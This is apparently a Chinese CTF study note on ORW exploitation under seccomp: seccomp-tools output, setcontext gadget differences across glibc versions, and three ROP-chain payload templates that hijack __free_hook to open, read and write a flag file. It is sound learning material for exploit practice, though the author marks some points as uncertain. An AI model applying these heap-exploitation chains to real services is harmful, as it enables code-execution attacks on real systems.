ORW汇总

1.seccomp保护:

(1)工具安装:

1
2
3
4
#注释头

sudo apt install gcc ruby-dev
gem install seccomp-tools

(2)查看保护:

seccomp-tools dump ./pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

root@241adce81c0a:/ctf/CISCN/silverwolf# seccomp-tools dump ./silverwolf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

(3)解析:

如上,如果架构不为ARCH_X86_64,则to 0009(kill)。系统调用号A为read,write,则to 0008,即ALLOW。同理看懂if语句就行,这里只能用read和write,照理说open也可以,但是这里好像不太行。

2.setcontext不同版本:

(1)2.29以前:劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget( setcontext+53),通过 rdi索引,来设置相关寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头

<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

并执行提前布置好的 ORW ROP chains。

△如果是free_hook则将对应要释放的堆块的内容改为ORW ROP chains即可。如果是malloc_hook,不太知道,应该也是在对应堆块改ORW ROP chains,但是需要这个堆块确实是这一次malloc出来的堆块吧。

(2)2.29后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,需要通过 ROP控制 RDX的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

.text:00000000000580DD mov rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

这里好像赋值的索引好像有点变化,所以可能实际做题的时候需要变一下脚本。同时setcontext+53变成了setcontext+61然后由于rdx的gadget可能不是太好找,所以一般有以下几个好用的gadget:

①getkeyserv_handle+576:

1
2
3
4
5
#注释头

mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

通过rdi控制rdx,同样2.29以后不同版本都不太一样,需要再调试看看,比如2.31里就是:

1
2
3
4
5
#注释头

mov rdx,QWORD PTR [rdi+0x8]
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]

②svcudp_reply+26:

1
2
3
4
5
6
7
8
#注释头

mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

通过rdi控制rbp实现栈迁移,然后即可任意gadget了。

其中2.31版本下还是一样的,如下:

1
2
3
4
5
6
7
8
#注释头

mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]

③万能gadget,不知道为什么https://www.anquanke.com/post/id/236832#h3-10这篇文章没有提及到万能gadget,不过我觉得应该也能用,不过使用万能gadget的话一般还需要配合栈迁移才行。

④通过environ泄露栈地址,并在栈上构造orw rop链。(libc的bss偏移,然后io_file)

3.常用orw chains脚本:

(1)利用open、write、read:

CISCN-2021 silverwolf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

#直接改__free_hook为setcontext+53
#2.28 and down

chunk_addr = heap_addr +0x2e0
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0

orw = "a"*0xa0

orw += p64(fake_rsp)+p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

2019-BALSN-CTF-plaintext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#注释头

#2.29,需要将__free_hook设置为指定gadget,这里为__libc_cleanup_routine+7
mov rdx, qword ptr [rdi + 8]
mov rax, qword ptr [rdi]
mov rdi, rdx
jmp rax
#不同gadget脚本需要微调,只要满足赋值rdi并且之后跳转到setcontext即可
#需要从"a"*0xa0中拿出0x10的空间用来设置setcontext,然后将rdx赋值为对应chunk地址

chunk_addr = heap_addr +0x30a0
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0

#这里setcontext+0x1d或53都可以,具体调试分析,但是61不行
#即chunk_addr+0x8赋值为chunk_addr,chunk_addr赋值为setcontext+0x1d
orw = p64(libc_addr + libc.symbols['setcontext'] + 0x1d) + p64(chunk_addr)
orw += "a"*0x90

orw += p64(fake_rsp) + p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

YCB easy_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#注释头 
#2.31
#这里同样将free_hook设置为gadget,用到的是getkeyserv_handle+576:
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

#chunk_addr+8赋值为chunk_addr,chunk_addr+0x20赋值为setcontext+61
chunk_addr = heap_addr +0x20
fake_rsp = chunk_addr + 0xb0 + 0x10
flag = chunk_addr + 0xb0

orw = "a"*0x08 + p64(chunk_addr)
orw += "a"*0x10
orw += p64(libc_addr + libc.sym['setcontext'] + 61) + "a"*0x8
orw += "a"*0x70

orw += p64(fake_rsp) + p64(ret)
orw += './flag\x00\x00'
orw += p64(0)
orw += p64(pop_rdi_ret) + p64(flag)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(fake_rsp+0x200)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(libc_base+libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(libc_base+libc.sym['write'])

▲同样可以用frame结构体来调用函数。